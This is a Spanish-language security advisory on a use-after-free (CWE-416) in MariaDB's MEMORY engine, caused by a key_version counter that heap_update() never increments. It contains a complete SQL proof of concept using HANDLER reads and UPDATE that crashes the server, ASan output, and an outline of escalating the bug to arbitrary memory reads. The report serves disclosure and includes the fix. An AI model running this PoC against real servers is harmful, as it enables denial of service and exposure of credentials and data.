Resumen
El motor de almacenamiento MEMORY (HEAP) de MariaDB gestiona sus índices BTREE mediante árboles de nodos TREE_ELEMENT en memoria. Para que un cursor HANDLER sepa que su camino cacheado por el árbol ha quedado obsoleto, el motor lleva un contador de versión, share->key_version, que debe incrementarse cada vez que se reorganiza el índice.
El fallo está en la función heap_update(), en storage/heap/hp_update.c. La variable local key_changed se declara e inicializa a 0, pero nunca se pone a 1 en ningún punto de la función. Eso convierte en código muerto la comprobación if (key_changed) share->key_version++: el contador de versión jamás se actualiza al hacer un UPDATE.
int heap_update(HP_INFO *info, const uchar *old, const uchar *heap_new)
{
HP_KEYDEF *keydef, *end, *p_lastinx;
uchar *pos, *recovery_ptr;
my_bool auto_key_changed= 0, key_changed= 0; // <-- nunca pasa a 1
HP_SHARE *share= info->s;
// ...
for (keydef= share->keydef, end= keydef + share->keys; keydef < end; keydef++)
{
if (hp_rec_key_cmp(keydef, old, heap_new))
{
if ((*keydef->delete_key)(info, keydef, old, pos, keydef == p_lastinx) ||
(*keydef->write_key)(info, keydef, heap_new, pos))
goto err;
// NOTA: aquí falta key_changed = 1;
}
}
// ...
if (key_changed) // <-- código muerto: key_changed siempre vale 0
share->key_version++; // NUNCA SE EJECUTA
La consecuencia: cuando un UPDATE modifica una columna cubierta por un índice BTREE, tree_delete() libera nodos TREE_ELEMENT, pero como key_version no cambia, los cursores HANDLER siguen creyendo que sus punteros al camino padre cacheado son válidos. Al ejecutar después un HANDLER READ idx NEXT, tree_search_next() desreferencia punteros a nodos ya liberados: ahí está el use-after-free.
El error se introdujo en el commit 5788294fa365a0f23ee1cd7e12a444cf794ba6bc (2011-01-11), que añadió soporte de HANDLER para tablas MEMORY junto con los números de versión de clave y de fichero. En ese mismo commit, hp_delete.c y hp_write.c sí incrementan share->key_version de forma incondicional; solo hp_update.c se dejó el incremento.
Pasos de reproducción
El escenario solo necesita una conexión con privilegios estándar (SELECT, INSERT, UPDATE, CREATE TABLE) y una tabla MEMORY con índice BTREE, que es una característica normal de MariaDB.
-- Una sola conexión, privilegios estándar
CREATE TABLE poc (
k INT,
pad VARCHAR(200),
INDEX idx USING BTREE (k)
) ENGINE=MEMORY;
INSERT INTO poc (k, pad) VALUES
(10,'a'),(20,'b'),(30,'c'),(40,'d'),(50,'e'),
(60,'f'),(70,'g'),(80,'h'),(90,'i'),(100,'j'),
(110,'k'),(120,'l'),(130,'m'),(140,'n'),(150,'o'),
(160,'p'),(170,'q'),(180,'r'),(190,'s'),(200,'t');
HANDLER poc OPEN;
-- Fija la key_version y llena parents[] con punteros TREE_ELEMENT*
HANDLER poc READ idx FIRST;
HANDLER poc READ idx NEXT;
HANDLER poc READ idx NEXT;
HANDLER poc READ idx NEXT;
HANDLER poc READ idx NEXT;
-- heap_update() libera nodos TREE_ELEMENT pero NO incrementa key_version
UPDATE poc SET k = k + 5000 WHERE k BETWEEN 20 AND 180;
-- tree_search_next() desreferencia punteros TREE_ELEMENT* ya liberados (use-after-free)
HANDLER poc READ idx NEXT;
En una compilación con AddressSanitizer, la última sentencia aborta de inmediato con un informe de heap-use-after-free. En una compilación de release el resultado depende del estado del asignador: el servidor puede caerse, devolver una fila corrupta o seguir aparentemente sin problemas si el bloque liberado fue reutilizado por un nodo válido.
Salida de AddressSanitizer (13.0.1-MariaDB-asan, commit 3a2f8e27981b):
==50410==ERROR: AddressSanitizer: heap-use-after-free on address 0x506000052360 ...
READ of size 8 at 0x506000052360 thread T13
#0 0x56019d7ad5f5 in tree_search_next mysys/tree.c:501
#1 0x56019d06df94 in heap_rnext storage/heap/hp_rnext.c:56
#2 0x56019c5aa751 in handler::ha_index_next(unsigned char*) sql/handler.cc:4195
#3 0x56019bb1a779 in mysql_ha_read(...) sql/sql_handler.cc:903
...
0x506000052360 is located 32 bytes inside of 64-byte region [0x506000052340,0x506000052380)
freed by thread T13 here:
#0 0x7f6f782a34d8 in free
#1 0x56019d7ac0c7 in tree_delete mysys/tree.c:372
#2 0x56019d06478d in hp_rb_delete_key storage/heap/hp_delete.c:81
#3 0x56019d06f400 in heap_update storage/heap/hp_update.c:47
#4 0x56019d0607ab in ha_heap::update_row(...) storage/heap/ha_heap.cc:313
...
previously allocated by thread T13 here:
#0 0x7f6f782a49c7 in malloc
#1 0x56019d797fe7 in my_malloc mysys/my_malloc.c:93
#2 0x56019d7ab814 in tree_insert mysys/tree.c:278
#3 0x56019d070799 in hp_rb_write_key storage/heap/hp_write.c:121
#4 0x56019d06fcdd in heap_write storage/heap/hp_write.c:52
...
SUMMARY: AddressSanitizer: heap-use-after-free mysys/tree.c:501 in tree_search_next
El punto exacto de la desreferencia obsoleta está en storage/heap/hp_rnext.c:
else if (info->last_pos && info->key_version == info->s->key_version)
{
pos = tree_search_next(&keyinfo->rb_tree, &info->last_pos,
offsetof(TREE_ELEMENT, left),
offsetof(TREE_ELEMENT, right)); // <-- desreferencia UAF
}
// ...
if (pos)
{
memcpy(&pos, pos + (*keyinfo->get_key_length)(keyinfo, pos),
sizeof(uchar*)); // <-- puntero de registro controlable
info->current_ptr = pos;
}
// ...
memcpy(record, pos, (size_t) share->reclength); // <-- lectura arbitraria
Impacto
Cualquier usuario autenticado con permisos SELECT, INSERT, UPDATE y CREATE TABLE sobre cualquier base de datos puede, desde una única conexión, dejar el servidor en el estado de use-after-free y provocar su caída.
El investigador describe además una escalada del primitivo: al lograr que el bloque TREE_ELEMENT liberado se reasigne con un nodo BTREE preparado (por ejemplo, procedente de una segunda tabla MEMORY cuyos bytes de clave codifican una dirección), tree_search_next() devuelve un puntero al nodo falsificado y heap_rnext() acaba tomando la dirección elegida como puntero de registro y copiando hasta share->reclength bytes de esa dirección a la fila devuelta al cliente. Eso convierte el fallo en un primitivo de lectura de memoria arbitraria del proceso del servidor, con exposición potencial de otras bases de datos, credenciales y claves TLS. Si se conoce una dirección de partida (binario sin PIE, plataforma sin ASLR o una fuga previa), el primitivo puede recorrer cadenas de punteros por todo el espacio de direcciones y servir de pieza para ejecución de código si se combina con un primitivo de escritura.
Remediación
La corrección es la que ya aplicaban hp_delete.c y hp_write.c desde el commit que introdujo el fallo: marcar el índice como modificado en heap_update() cuando cambia una clave, de modo que share->key_version se incremente y los cursores HANDLER invaliden su camino cacheado en lugar de reutilizar punteros ya liberados. El reporte fue clasificado como Use After Free (CWE-416) y resuelto por el programa de MariaDB.